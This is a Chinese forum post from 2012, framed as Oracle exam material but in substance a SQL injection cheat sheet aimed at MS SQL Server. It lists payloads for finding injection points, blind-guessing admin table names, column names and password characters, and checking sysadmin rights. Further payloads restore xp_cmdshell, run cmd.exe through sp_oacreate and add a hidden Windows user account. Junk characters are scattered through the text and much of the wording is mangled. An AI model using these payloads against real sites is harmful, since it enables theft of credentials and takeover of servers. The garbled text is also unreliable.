a我考网

 找回密码
 立即注册

QQ登录

只需一步,快速开始

扫一扫,访问微社区

查看: 80|回复: 1

[综合] oracle认证考试SQL注射语句解析(一)

[复制链接]
发表于 2012-8-4 13:54:49 | 显示全部楼层 |阅读模式
SQL打针语句
7 \4 X& c, Z! R/ z- I1.判定有无注入点7 h& s0 T' |; m9 f1 q  N9 i. u
‘ ; and 1=1 and 1=2
! c" Q+ `- O; G: y0 X1 y  P2.猜表一般的表的名称无非是admin adminuser user pass password 等。.4 @4 k* u+ l$ g/ i) w, L4 _2 c& F
and 0《》(select count(*) from *)% I) x0 J8 [7 N- C. j) }; k
and 0《》(select count(*) from admin) ---判定是否存在admin这张表
; y( f* |# [) z1 j: _+ U# ~. i3.猜帐号数目 如不美观碰着0《 返回正确页面 1《返回错误页面声名帐号数目就是1个
# ^5 v. u! X2 A+ u! D1 z$ ^& [and 0《(select count(*) from admin)
/ A7 i2 d6 s" t* Q/ T8 K5 Uand 1《(select count(*) from admin)* Q7 c$ f6 ~1 Q. A3 u4 v$ N
4.猜解字段名称 在len( ) 括号琅缦沔加上我们想到的字段名称。
3 K! B$ G7 ], f! C  Y) ^and 1=(select count(*) from admin where len(*)》0)--
! r  X8 @, ?5 g8 X9 g- M  Dand 1=(select count(*) from admin where len(用户字段名称name)》0)
- I5 r, k! l1 y) zand 1=(select count(*) from admin where len(密码字段名称password)》0)
/ y) |' B, t6 @# d/ R' @$ d5.猜解各个字段的长度 猜解长度就是把》0变换 直到返回正确页面为止5 U/ f* c$ Q% W& U1 x' S' a5 `" |
and 1=(select count(*) from admin where len(*)》0)  k  D1 @- i  ^9 {" S
and 1=(select count(*) from admin where len(name)》6) 错误0 X- S. X4 n% F8 r! g
and 1=(select count(*) from admin where len(name)》5) 正确 长度是67 `, T0 q% R  z+ D
and 1=(select count(*) from admin where len(name)=6) 正确
: J: n" w9 Q' R% @and 1=(select count(*) from admin where len(password)》11) 正确2 n3 J2 W- V8 U% M1 D# ?
and 1=(select count(*) from admin where len(password)》12) 错误 长度是12$ e- i8 w( q2 M( y
  r; [: F+ Q1 M# i. K
and 1=(select count(*) from admin where len(password)=12) 正确
回复

使用道具 举报

 楼主| 发表于 2012-8-4 13:54:50 | 显示全部楼层

oracle认证考试SQL注射语句解析(一)

</p>6.猜解字符
- Z, b6 P" r/ u% g' a! N+ v1 {. Dand 1=(select count(*) from admin where left(name,1)=’a‘) ---猜解用户帐号的第一位6 ^: v- m6 y+ h  c" g! h
and 1=(select count(*) from admin where left(name,2)=’ab‘)---猜解用户帐号的第二位3 r' `: b; K/ M3 V$ Q
就这样一次加一个字符这样猜,猜到够你适才猜出来的若干好多位了就对了,帐号就算出来了
4 h4 i  v& H: _  @7 ], ?and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
" X9 h# G5 `; q# H' Z& N! f0 b% \这个发芽语句可以猜解中文的用户和密码。只要把后面的数字换成中文的ASSIC码就OK.最后把结不美观再转换成字符。+ N& N" i- T! q5 [
看处事器打的补丁=犯错了打了SP4补丁2 Q5 p9 x/ H7 k) n5 T% W, }
and 1=(select @@VERSION)--1 I- Q$ v! [- G6 p" C7 M, P
看数据库毗连账号的权限,返回正常,证实是处事器脚色sysadmin权限。; `7 U% q' E! D1 ?9 f
and 1=(Select IS_SRVROLEMEMBER(’sysadmin‘))--; o, b. e9 P5 @3 ?  K- C% [
判定毗连数据库帐号。(采用SA账号毗连 返回正常=证了然毗连账号是SA)
& d1 H1 ]0 f; ?4 }/ nand ’sa‘=(Select System_user)--0 Y/ {1 r- G, [# p! m4 y6 f
and user_name()=’dbo‘--( O% A. y# j$ G$ C6 T, ~6 o
and 0《》(select user_name()--* J! o2 K, f7 m9 X3 S
看xp_cmdshell是否删除" W2 N/ I5 e# p( U$ K
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = ’X‘ AND! E. n# R8 _6 _1 {! ]
name = ’xp_cmdshell‘)--/ }6 B# a& Q: {
xp_cmdshell被删除,恢复,撑持绝对路径的恢复9 S, a: F6 T# e( H" _( G3 a/ e$ i
;EXEC master.dbo.sp_addextendedproc ’xp_cmdshell‘,’xplog70.dll‘--) F* d- g2 r6 U6 L' y5 d! R
;EXEC master.dbo.sp_addextendedproc
. L* G$ H. S$ e2 x’xp_cmdshell‘,’c:\inetpub\wwwroot\xplog70.dll‘--
! m6 o. G! I! m% A" J. V! {反向PING自己尝试
; Z& D8 N+ q0 e6 C4 g/ L;use master;declare @s int;exec sp_oacreate “wscript.shell”,@s out;exec
* W; l) g+ z" X- \9 A# dsp_oamethod @s,“run”,NULL,“cmd.exe /c ping 192.168.0.1”;--4 k* B+ Q4 G4 b* n- d
加帐号& }7 u: M! }; g0 V. A; a7 M
;DECLARE @shell INT EXEC SP_OACreate ’wscript.shell‘,@shell OUTPUT EXEC* l& b8 U& U2 G
SP_OAMETHOD @shell,’run‘,null, ’C:\WINNT\system32\cmd.exe /c net user$ _  ]- F* ~: |. N0 ~5 e' q
jiaoniang$ 1866574 /add‘--
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|手机版|小黑屋|Woexam.Com ( 湘ICP备18023104号 )

GMT+8, 2024-5-14 07:07 , Processed in 0.191006 second(s), 23 queries .

Powered by Discuz! X3.4 Licensed

© 2001-2017 Comsenz Inc.

快速回复 返回顶部 返回列表